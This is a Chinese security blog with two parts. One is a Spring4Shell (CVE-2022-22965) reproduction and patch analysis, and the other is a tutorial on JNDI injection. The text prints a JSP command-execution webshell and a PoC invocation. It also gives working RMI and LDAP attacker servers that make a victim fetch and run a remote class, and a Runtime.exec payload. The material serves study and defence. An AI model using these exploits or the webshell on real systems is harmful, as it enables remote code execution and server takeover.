userNameDescriptor: java.beans.PropertyDescriptor[name=name; values={expert=false; visualUpdate=false; hidden=false; enumerationValues=[Ljava.lang.Object;@5cb9f472; required=false}; propertyType=class java.lang.String; readMethod=public java.lang.String cn.jidun.User.getName(); writeMethod=public void cn.jidun.User.setName(java.lang.String)]
Before modification:
user.name: foo
After modification:
user.name: bar

从上述代码和输出结果可以看到,PropertyDescriptor实际上就是Java Bean的属性和对应get/set方法的集合。

1.3 Spring BeanWrapperImpl

在Spring中,BeanWrapper接口是对Bean的包装,定义了大量可以非常方便的方法对Bean的属性进行访问和设置。

BeanWrapperImpl类是BeanWrapper接口的默认实现,BeanWrapperImpl.wrappedObject属性即为被包装的Bean对象,BeanWrapperImpl对Bean的属性访问和设置最终调用的是PropertyDescriptor

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import org.springframework.beans.BeanWrapper;
import org.springframework.beans.BeanWrapperImpl;

public class BeanWrapperDemo {
public static void main(String[] args) throws Exception {
User user = new User();
user.setName("foo");
Department department = new Department();
department.setName("SEC");
user.setDepartment(department);

BeanWrapper userBeanWrapper = new BeanWrapperImpl(user);
userBeanWrapper.setAutoGrowNestedPaths(true);
System.out.println("userBeanWrapper: " + userBeanWrapper);

System.out.println("Before modification: ");
System.out.println("user.name: " + userBeanWrapper.getPropertyValue("name"));
System.out.println("user.department.name: " + userBeanWrapper.getPropertyValue("department.name"));

userBeanWrapper.setPropertyValue("name", "bar");
userBeanWrapper.setPropertyValue("department.name", "IT");

System.out.println("After modification: ");
System.out.println("user.name: " + userBeanWrapper.getPropertyValue("name"));
System.out.println("user.department.name: " + userBeanWrapper.getPropertyValue("department.name"));
}
}
userBeanWrapper: org.springframework.beans.BeanWrapperImpl: wrapping object [cn.jidun.User@1d371b2d]
Before modification:
user.name: foo
user.department.name: SEC
After modification:
user.name: bar
user.department.name: IT

从上述代码和输出结果可以看到,通过BeanWrapperImpl可以很方便地访问和设置Bean的属性,比直接使用PropertyDescriptor要简单很多。

1.4 Tomcat AccessLogValveaccess_log

Tomcat的Valve用于处理请求和响应,通过组合了多个ValvePipeline,来实现按次序对请求和响应进行一系列的处理。其中AccessLogValve用来记录访问日志access_log。Tomcat的server.xml中默认配置了AccessLogValve,所有部署在Tomcat中的Web应用均会执行该Valve,内容如下:

1
2
3
<Valve className="org.apache.catalina.valves.AccessLogValve" directory="logs"
prefix="localhost_access_log" suffix=".txt"
pattern="%h %l %u %t &quot;%r&quot; %s %b" />

下面列出配置中出现的几个重要属性: - directory:access_log文件输出目录。 - prefix:access_log文件名前缀。 - pattern:access_log文件内容格式。 - suffix:access_log文件名后缀。 - fileDateFormat:access_log文件名日期后缀,默认为.yyyy-MM-dd

二、漏洞复现

2.1 复现环境

  • 操作系统:Ubuntu 18
  • JDK:11.0.14
  • Tomcat:9.0.60
  • SpringBoot:2.6.3

2.2 复现过程

  1. 创建一个maven项目,pom.xml内容如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.6.3</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>
<groupId>com.example</groupId>
<artifactId>CVE-2022-22965</artifactId>
<version>0.0.1-SNAPSHOT</version>
<packaging>war</packaging>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-tomcat</artifactId>
<scope>provided</scope>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
</project>
  1. 项目中添加如下代码,作为SpringBoot的启动类:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.boot.builder.SpringApplicationBuilder;
import org.springframework.boot.web.servlet.support.SpringBootServletInitializer;

@SpringBootApplication
public class ApplicationMain extends SpringBootServletInitializer {
@Override
protected SpringApplicationBuilder configure(SpringApplicationBuilder builder) {
return builder.sources(ApplicationMain.class);
}

public static void main(String[] args) {
SpringApplication.run(ApplicationMain.class, args);
}
}
  1. 将章节1.1 SpringMVC参数绑定中的User类和UserController类添加到项目中。
  2. 执行maven打包命令,将项目打包为war包,命令如下:
1
mvn clean package
  1. 将项目中target目录里打包生成的CVE-2022-22965-0.0.1-SNAPSHOT.war,复制到Tomcat的webapps目录下,并启动Tomcat。
  2. https://github.com/BobTheShoplifter/Spring4Shell-POC/blob/0c557e85ba903c7ad6f50c0306f6c8271736c35e/poc.py 下载POC文件,执行如下命令:
1
python3 poc.py --url http://localhost:8080/CVE-2022-22965-0.0.1-SNAPSHOT/addUser
  1. 浏览器中访问http://localhost:8080/tomcatwar.jsp?pwd=j&cmd=gnome-calculator,复现漏洞。

image

三、漏洞分析

3.1 POC分析

我们从POC入手进行分析。通过对POC中的data URL解码后可以拆分成如下5对参数。

3.1.1 pattern参数

  • 参数名:class.module.classLoader.resources.context.parent.pipeline.first.pattern
  • 参数值:%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i

很明显,这个参数是SpringMVC多层嵌套参数绑定。我们可以推测出如下的调用链:

1
2
3
4
User.getClass()
java.lang.Class.getModule()
......
SomeClass.setPattern()

那实际运行过程中的调用链是怎样的呢?SomeClass是哪个类呢?带着这些问题,我们在前置知识中提到的实现SpringMVC参数绑定的主要方法WebDataBinder.doBind(MutablePropertyValues)上设置断点。

image

经过一系列的调用逻辑后,我们来到AbstractNestablePropertyAccessor第814行,getPropertyAccessorForPropertyPath(String)方法。该方法通过递归调用自身,实现对class.module.classLoader.resources.context.parent.pipeline.first.pattern的递归解析,设置整个调用链。

我们重点关注第820行,AbstractNestablePropertyAccessor nestedPa = getNestedPropertyAccessor(nestedProperty);,该行主要实现每层嵌套参数的获取。我们在该行设置断点,查看每次递归解析过程中各个变量的值,以及如何获取每层嵌套参数。

image

第一轮迭代

进入getPropertyAccessorForPropertyPath(String)方法前: - thisUserBeanWrapperImpl包装实例 - propertyPathclass.module.classLoader.resources.context.parent.pipeline.first.pattern - nestedPathmodule.classLoader.resources.context.parent.pipeline.first.pattern - nestedPropertyclass,即本轮迭代需要解析的嵌套参数

image

进入方法,经过一系列的调用逻辑后,最终来到BeanWrapperImpl第308行,BeanPropertyHandler.getValue()方法中。可以看到class嵌套参数最终通过反射调用User的父类java.lang.Object.getClass(),获得返回java.lang.Class实例。

image

1
getPropertyAccessorForPropertyPath(String)`方法返回后: - `this`:`User`的`BeanWrapperImpl`包装实例 - `propertyPath`:`class.module.classLoader.resources.context.parent.pipeline.first.pattern` - `nestedPath`:`module.classLoader.resources.context.parent.pipeline.first.pattern`,作为下一轮迭代的`propertyPath` - `nestedProperty`:`class`,即本轮迭代需要解析的嵌套参数 - `nestedPa`:`java.lang.Class`的`BeanWrapperImpl`包装实例,作为下一轮迭代的`this

image

经过第一轮迭代,我们可以得出第一层调用链:

1
2
User.getClass()
java.lang.Class.get???() // 下一轮迭代实现

第二轮迭代

image

image

image

module嵌套参数最终通过反射调用java.lang.Class.getModule(),获得返回java.lang.Module实例。

经过第二轮迭代,我们可以得出第二层调用链:

1
2
3
User.getClass()
java.lang.Class.getModule()
java.lang.Module.get???() // 下一轮迭代实现

第三轮迭代

image

image

image

classLoader嵌套参数最终通过反射调用java.lang.Module.getClassLoader(),获得返回org.apache.catalina.loader.ParallelWebappClassLoader实例。

经过第三轮迭代,我们可以得出第三层调用链:

1
2
3
4
User.getClass()
java.lang.Class.getModule()
java.lang.Module.getClassLoader()
org.apache.catalina.loader.ParallelWebappClassLoader.get???() // 下一轮迭代实现

接着按照上述调试方法,依次调试剩余的递归轮次并观察相应的变量,最终可以得到如下完整的调用链:

1
2
3
4
5
6
7
8
9
User.getClass()
java.lang.Class.getModule()
java.lang.Module.getClassLoader()
org.apache.catalina.loader.ParallelWebappClassLoader.getResources()
org.apache.catalina.webresources.StandardRoot.getContext()
org.apache.catalina.core.StandardContext.getParent()
org.apache.catalina.core.StandardHost.getPipeline()
org.apache.catalina.core.StandardPipeline.getFirst()
org.apache.catalina.valves.AccessLogValve.setPattern()

可以看到,pattern参数最终对应AccessLogValve.setPattern(),即将AccessLogValvepattern属性设置为%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i,也就是access_log的文件内容格式。

我们再来看pattern参数值,除了常规的Java代码外,还夹杂了三个特殊片段。通过翻阅AccessLogValve的父类AbstractAccessLogValve的源码,可以找到相关的文档:

img

即通过AccessLogValve输出的日志中可以通过形如%{param}i等形式直接引用HTTP请求和响应中的内容。完整文档请参考文章末尾的参考章节。

结合poc.py中headers变量内容:

1
2
3
4
5
6
headers = {"suffix":"%>//",
"c1":"Runtime",
"c2":"<%",
"DNT":"1",
"Content-Type":"application/x-www-form-urlencoded"
}

最终可以得到AccessLogValve输出的日志实际内容如下(已格式化):

1
2
3
4
5
6
7
8
9
10
<%
if("j".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
while((a=in.read(b))!=-1){
out.println(new String(b));
}
}
%>//

很明显,这是一个JSP webshell。这个webshell输出到了哪儿?名称是什么?能被直接访问和正常解析执行吗?我们接下来看其余的参数。

3.1.2 suffix参数

  • 参数名:class.module.classLoader.resources.context.parent.pipeline.first.suffix
  • 参数值:.jsp

按照pattern参数相同的调试方法,suffix参数最终将AccessLogValve.suffix设置为.jsp,即access_log的文件名后缀。

3.1.3 directory参数

  • 参数名:class.module.classLoader.resources.context.parent.pipeline.first.directory
  • 参数值:webapps/ROOT

按照pattern参数相同的调试方法,directory参数最终将AccessLogValve.directory设置为webapps/ROOT,即access_log的文件输出目录。

这里提下webapps/ROOT目录,该目录为Tomcat Web应用根目录。部署到目录下的Web应用,可以直接通过http://localhost:8080/根目录访问。

3.1.4 prefix参数

  • 参数名:class.module.classLoader.resources.context.parent.pipeline.first.prefix
  • 参数值:tomcatwar

按照pattern参数相同的调试方法,prefix参数最终将AccessLogValve.prefix设置为tomcatwar,即access_log的文件名前缀。

3.1.5 fileDateFormat参数

  • 参数名:class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat
  • 参数值:空

按照pattern参数相同的调试方法,fileDateFormat参数最终将AccessLogValve.fileDateFormat设置为空,即access_log的文件名不包含日期。

3.1.6 总结

至此,经过上述的分析,结论非常清晰了:通过请求传入的参数,利用SpringMVC参数绑定机制,控制了Tomcat AccessLogValve的属性,让Tomcat在webapps/ROOT目录输出定制的“访问日志”tomcatwar.jsp,该“访问日志”实际上为一个JSP webshell。

在SpringMVC参数绑定的实际调用链中,有几个关键点直接影响到了漏洞能否成功利用。

3.2 漏洞利用关键点

3.2.1 关键点一:Web应用部署方式

java.lang.Moduleorg.apache.catalina.loader.ParallelWebappClassLoader,是将调用链转移到Tomcat,并最终利用AccessLogValve输出webshell的关键。

ParallelWebappClassLoader在Web应用以war包部署到Tomcat中时使用到。现在很大部分公司会使用SpringBoot可执行jar包的方式运行Web应用,在这种方式下,我们看下classLoader嵌套参数被解析为什么,如下图:

image

可以看到,使用SpringBoot可执行jar包的方式运行,classLoader嵌套参数被解析为org.springframework.boot.loader.LaunchedURLClassLoader,查看其源码,没有getResources()方法。具体源码请参考文章末尾的参考章节。

这就是为什么本漏洞利用条件之一,Web应用部署方式需要是Tomcat war包部署。

3.2.2 关键点二:JDK版本

在前面章节中AbstractNestablePropertyAccessor nestedPa = getNestedPropertyAccessor(nestedProperty);调用的过程中,实际上Spring做了一道防御。

Spring使用org.springframework.beans.CachedIntrospectionResults缓存并返回Java Bean中可以被BeanWrapperImpl使用的PropertyDescriptor。在CachedIntrospectionResults第289行构造方法中:

image

该行的意思是:当Bean的类型为java.lang.Class时,不返回classLoaderprotectionDomainPropertyDescriptor。Spring在构建嵌套参数的调用链时,会根据CachedIntrospectionResults缓存的PropertyDescriptor进行构建:

image

不返回,也就意味着class.classLoader...这种嵌套参数走不通,即形如下方的调用链:

1
2
3
4
Foo.getClass()
java.lang.Class.getClassLoader()
BarClassLoader.getBaz()
......

这在JDK<=1.8都是有效的。但是在JDK 1.9之后,Java为了支持模块化,在java.lang.Class中增加了module属性和对应的getModule()方法,自然就能通过如下调用链绕过判断:

1
2
3
4
5
Foo.getClass()
java.lang.Class.getModule() // 绕过
java.lang.Module.getClassLoader()
BarClassLoader.getBaz()
......

这就是为什么本漏洞利用条件之二,JDK>=1.9。

四、补丁分析

4.1 Spring 5.3.18补丁

通过对比Spring 5.3.17和5.3.18的版本,可以看到在3月31日有一项名为“Redefine PropertyDescriptor filter的”提交。

image

进入该提交,可以看到对CachedIntrospectionResults构造函数中Java Bean的PropertyDescriptor的过滤条件被修改了:当Java Bean的类型为java.lang.Class时,仅允许获取name以及Name后缀的属性描述符。在章节3.2.2 关键点二:JDK版本中,利用java.lang.Class.getModule()的链路就走不通了。

image

4.2 Tomcat 9.0.62补丁

通过对比Tomcat 9.0.61和9.0.62的版本,可以看到在4月1日有一项名为“Security hardening. Deprecate getResources() and always return null.”提交。

image

进入该提交,可以看到对getResource()方法的返回值做了修改,直接返回nullWebappClassLoaderBaseParallelWebappClassLoader的父类,在章节3.2.1 关键点一:Web应用部署方式中,利用org.apache.catalina.loader.ParallelWebappClassLoader.getResources()的链路就走不通了。

image

五、思考

通过将代码输出到日志文件,并控制日志文件被解释执行,这在漏洞利用方法中也较为常见。通常事先往服务器上写入包含代码的“日志”文件,并利用文件包含漏洞解释执行该“日志”文件。写入“日志”文件可以通过Web服务中间件自身的日志记录功能顺带实现,也可以通过SQL注入、文件上传漏洞等曲线实现。

与上文不同的是,本次漏洞并不需要文件包含。究其原因,Java Web服务中间件自身也是用Java编写和运行的,而部署运行在上面的Java Web应用,实际上是Java Web服务中间件进程的一部分,两者间通过Servlet API标准接口在进程内部进行“通讯”。依靠Java语言强大的运行期反射能力,给予了攻击者可以通过Java Web应用漏洞进而攻击Java Web服务中间件的能力。也就是本次利用Web应用自身的Spring漏洞,进而修改了Web服务中间件Tomcat的access_log配置内容,直接输出可执行的“日志”文件到Web 应用目录下。

在日常开发中,应该严格控制Web应用可解释执行目录为只读不可写,日志、上传文件等运行期可以修改的目录应该单独设置,并且不可执行。

本次漏洞虽然目前调用链中仅利用到了Tomcat,但只要存在一个从Web应用到Web服务中间件的class.module.classLoader....合适调用链,理论上Jetty、Weblogic、Glassfish等也可利用。另外,目前通过写入日志文件的方式,也可能通过其它文件,比如配置文件,甚至是内存马的形式出现。

本次漏洞目前唯一令人“欣慰”的一点是,仅对JDK>=1.9有效。相信不少公司均为“版本任你发,我用Java 8!”的状态,但这也仅仅是目前。与其抱着侥幸心理,不如按计划老老实实升级Spring。

参考

Read More
post @ 2024-01-16

原文:https://www.cnblogs.com/LittleHann/p/17768907.html

一、JNDI 简介

JNDI是什么

JNDI(Java Naming and Directory Interface)是一个应用程序设计的 API,一种标准的 Java 命名系统接口。

JNDI 提供统一的客户端 API,通过不同的JNDI服务供应接口(SPI)的实现,由管理者将 JNDI API 映射为特定的命名服务和目录系统,使得 Java 应用程序可以和这些命名服务和目录服务之间进行交互。

通俗的说就是若程序定义了 JDNI 中的接口,则就可以通过该接口 API 访问系统的命令服务和目录服务,如下图。

img

协议 作用
LDAP 轻量级目录访问协议,约定了 Client 与 Server 之间的信息交互格式、使用的端口号、认证方式等内容
RMI JAVA 远程方法协议,该协议用于远程调用应用程序编程接口,使客户机上运行的程序可以调用远程服务器上的对象
DNS 域名服务
CORBA 公共对象请求代理体系结构

J2EE规范要求所有的J2EE容器都要提供JNDI规范的实现。JNDI就成为了J2EE组件在运行期间间接地查找其他组件、资源或服务的通用机制。JNDI在J2EE中主要角色就是提供间接层,这样组件可以发现所需资源,不用了解间接性。

JNDI解决了什么问题

没有JNDI之前,对于一个外部依赖,像Mysql数据库,程序开发的过程中需要将具体的数据库地址参数写入到Java代码中,程序才能找到具体的数据库地址进行链接。那么数据库配置这些信息可能经常变动的。这就需要开发经常手动去调整配置。有了JNDI后,程序员可以不去管数据库相关的配置信息,这些配置都交给J2EE容器来配置和管理,程序员只要对这些配置和管理进行引用即可。其实就是给资源起个名字,再根据名字来找资源。

二、JNDI注入原理分析

JNDI 注入,即当开发者在定义 JNDI 接口初始化时,lookup() 方法的参数被外部攻击者可控,攻击者就可以将恶意的 url 传入参数,以此劫持被攻击的Java客户端的JNDI请求指向恶意的服务器地址,恶意的资源服务器地址响应了一个恶意Java对象载荷(reference实例 or 序列化实例),对象在被解析实例化,实例化的过程造成了注入攻击。不同的注入方法区别主要就在于利用实例化注入的方式不同。

一个简单的漏洞代码示例如下,

1
2
3
4
5
6
7
8
9
10
11
package org.example;
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class jndi {
public static void main(String[] args) throws NamingException {
String uri = "rmi://127.0.0.1:1099/Exploit"; // 指定查找的 uri 变量
InitialContext initialContext = new InitialContext();// 得到初始目录环境的一个引用
initialContext.lookup(uri); // 获取指定的远程对象
}
}

代码中定义了 uri 变量,uri 变量可控,并定义了一个 rmi 协议服务, rmi://127.0.0.1:1099/Exploit 为攻击者控制的链接,最后使用 lookup() 函数进行远程获取 Exploit 类(Exploit 类名为攻击者定义,不唯一),并执行它。

服务端攻击代码,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package jndi_rmi_injection;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.Reference;
import com.sun.jndi.rmi.registry.ReferenceWrapper;

public class RMIService {
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.createRegistry(1099); // rmi监听端口
Reference reference = new Reference("Calculator","Calculator","http://127.0.0.1:8081/"); // payload攻击载荷地址
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("Exploit",wrapper); //rmi绑定服务名称
}
}

img

我们深入到源码级别研究一下产生漏洞的原因。 先关注受攻击客户端。

InitialContext 类用于读取 JNDI 的一些配置信息,内含对象和其在 JNDI 中的注册名称的映射信息。

1
InitialContext initialContext = new InitialContext(); // 初始化上下文,获取初始目录环境的一个引用

lookup(String name) 获取 name 的数据,这里的 uri 被定义为 rmi://127.0.0.1:1099/Exploit 所以会通过 rmi 协议访问 127.0.0.1:1099/Exploit

1
2
String uri = "rmi://127.0.0.1:1099/Exploit";    // 指定查找的 uri 变量
initialContext.lookup(uri); // 获取指定的远程对象

由于 lookup() 参数可控,导致漏洞的出现,跟进代码如下,

img

img

以LDAP为例,获得远程LDAPServer的Entry之后,跟进跟进com/sun/jndi/ldap/Obj.java#decodeObject,

img

按照该函数的注释来看,其主要功能是解码从LDAP Server来的对象,

  • 该对象可能是序列化的对象
  • 也可能是一个Reference对象

这里先分析Reference对象的处理流程。

当客户端在lookup()查找这个远程对象时,客户端会获取相应的object factory,最终通过factory类将reference转换为具体的对象实例。

如果LDAP Server返回的属性里包括了 objectClassjavaNamingReference ,将进入Reference的处理函数decodeReference上。

img

img

decodeReference再从属性中提取出 javaClassNamejavaFactory ,最后将生成一个Reference。这里生成的ref就是在RMI返回的那个ReferenceWrapper,后面这个ref将会传递给Naming Manager去处理,包括从codebase中获取class文件并载入。

这里继续分析Serialized Object序列化对象的处理流程。

在com/sun/jndi/ldap/Obj.java#decodeObject上还存在一个判断,

img

如果在返回的属性中存在 javaSerializedData ,将继续调用 deserializeObject 函数,该函数主要就是调用常规的反序列化方式readObject对序列化数据进行还原,如下payload。

1
@Override protected void processAttribute(Entry entry){ entry.addAttribute("javaClassName", "foo"); entry.addAttribute("javaSerializedData", serialized); }

img

接下来分析服务端攻击代码所使用的Reference类,Reference 是一个抽象类,每个 Reference 都有一个指向的对象,对象指定类会被加载并实例化。

在上面服务端代码中,reference 指定了一个 Calculator 类,于远程的 http://127.0.0.1:8081/ 服务端上,等待客户端的调用并实例化执行。

img

以上就是JNDI注入的基本原理(核心就是远程对象解析引发的对象重建过程带来的风险调用链问题),但是JNDI注入并没有这么简单,因为java在漫长的迭代生涯中一直在添加新的补丁特性,使得JNDI的利用越来越困难(主要是禁用了从远程加载Java对象),而同时安全研究员也在不断研究出新的绕过利用方式(主要是寻找本地gadgets)。

三、JNDI注入漏洞复现

这一章采用最基础的远程reference对象注入,本章中的代码将作为后续章节的基础。

JNDI+RMI 复现

漏洞利用过程归纳总结为:

由于 lookup() 的参数可控,攻击者在远程服务器上构造恶意的 Reference 类绑定在 RMIServer 的 Registry 里面,然后客户端调用 lookup() 函数里面的对象,远程类获取到 Reference 对象,客户端接收 Reference 对象后,寻找 Reference 中指定的类,若查找不到,则会在 Reference 中指定的远程地址去进行请求,请求到远程的类后会在本地进行执行,从而达到 JNDI 注入攻击。

1、项目代码编写

新建maven项目,

img

在 /src/java 目录下创建一个包,包名为 jndi_rmi_injection,

img

在创建的jndi_rmi_injection包下新建 rmi 服务端和客户端,

服务端(RMIService.java)代码,服务端是攻击者控制的服务器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package jndi_rmi_injection;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.Reference;
import com.sun.jndi.rmi.registry.ReferenceWrapper;

public class RMIService {
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.createRegistry(7778);
Reference reference = new Reference("Calculator","Calculator","http://127.0.0.1:8081/");
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("RCE",wrapper);
}
}

服务端端恶意载荷(Calculator.java)代码

1
2
3
4
5
6
7
package jndi_rmi_injection;

public class Calculator {
public Calculator() throws Exception {
Runtime.getRuntime().exec("open -a Calculator");
}
}

笔者使用的是 mac 的环境,执行弹出计算器的命令为”open -a Calculator“,若为Windwos 修改为”calc“即可。

客户端(RMIClient.java)代码,客户端代表存在漏洞的受害端。

1
2
3
4
5
6
7
8
9
10
11
12
package jndi_rmi_injection;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class RMIClient {
public static void main(String[] args) throws NamingException{
String uri = "rmi://127.0.0.1:7778/RCE"; // 实际场景中这个url是外部攻击者可控的,这里为了简化直接硬编码
InitialContext initialContext = new InitialContext();
initialContext.lookup(uri);
}
}

2、启动RMI服务

将 HTTP 端恶意载荷 Calculator.java,编译成 Calculator.class 文件,

img

img

在 Calculator.class 目录下利用 Python 起一个临时的 WEB 服务放置恶意载荷,这里的端口必须要与 RMIServer.java 的 Reference 里面的链接端口一致。

1
python3 -m http.server 8081

img

img

先运行攻击者可控的RMI服务端,用于接受来自己客户端的lookup请求,

img

3、启动包含lookup功能的客户端服务,即启动存在被漏洞利用风险的服务

运行客户端,模拟被攻击者JNDI注入过程,远程获取恶意类,并执行恶意类代码,实现弹窗。

JNDI+LDAP 复现

攻击者搭建LDAP服务器,需要导入unboundid依赖库。

在本项目根目录下创建/lib目录,用于放置本地依赖库,点击下载 unboundid-ldapsdk-3.2.0.jar,导入依赖即可,

img

LDAPServer.java 服务端代码,服务端是攻击者控制的服务器。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
package jndi_rmi_injection;

import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

public class LDAPServer {
private static final String LDAP_BASE = "dc=example,dc=com";

public static void main (String[] args) {
String url = "http://127.0.0.1:8081/#Calculator";
int port = 1234;

try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
/**
*
*/
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}

/**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}

protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}

客户端(LDAPClient.java)代码,客户端代表存在漏洞的受害端。

1
2
3
4
5
6
7
8
9
10
11
12
package jndi_rmi_injection;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class LDAPClient {
public static void main(String[] args) throws NamingException{
String url = "ldap://127.0.0.1:1234/Calculator";
InitialContext initialContext = new InitialContext();
initialContext.lookup(url);
}
}

HTTP 端恶意载荷(Calculator.java)代码和上一小节保持不变。

将 HTTP 端恶意载荷 Calculator.java,编译成 Calculator.class 文件,在 Calculator.class 目录下利用 Python 起一个临时的 WEB 服务放置恶意载荷,这里的端口必须要与 LDAPServer.java 的 Reference 里面的链接端口一致。

先启动服务端,

img

再启动客户端。

img

JNDI+DNS 复现

通过上面我们可知 JNDI 注入可以利用 RMI 协议和LDAP 协议搭建服务然后执行命令,但有个不好的点就是会暴露自己的服务器 IP 。在没有确定存在漏洞前,直接在直接服务器上使用 RMI 或者 LDAP 去执行命令,通过日志可分析得到攻击者的服务器 IP,这样在没有获取成果的前提下还暴露了自己的服务器 IP,得不偿失。

为了解决这个问题,可以使用DNS 协议进行探测,通过 DNS 协议去探测是否真的存在漏洞,再去利用 RMI 或者 LDAP 去执行命令,避免过早暴露服务器 IP,这也是平常大多数人习惯使用 DNSLog 探测的原因之一,同样的 ldap 和 rmi 也可以使用 DNSLog 平台去探测。

漏洞端代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package jndi_ldap_injection;

import javax.naming.InitialContext;
import javax.naming.NamingException;


public class LDAPClient {
public static void main(String[] args) throws NamingException{
String url = "dns://192rzl.dnslog.cn";
InitialContext initialContext = new InitialContext();
initialContext.lookup(url);
}

}

填入 DNSLog 平台域名,或自己搭建的平台域名,执行程序。

参考链接:

1
2
3
https://www.veracode.com/blog/research/exploiting-jndi-injections-java
https://xz.aliyun.com/t/12277#toc-5
https://evilpan.com/2021/12/13/jndi-injection/#remote-class

四、不同JDK版本中JNDI注入存在的限制及绕过方法

Java JNDI注入有很多种不同的利用载荷,而这些Payload分别会面临一些限制。

我们来整理一下,关于jndi的相关安全更新:

  • JDK 6u132, JDK 7u122, JDK 8u113中添加了com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false。导致jndi的rmi reference方式失效,但ldap的reference方式仍然可行
  • Oracle JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false。导致jndi的ldap reference方式失效,到这里为止,远程codebase的方式基本失效,除非认为设为true

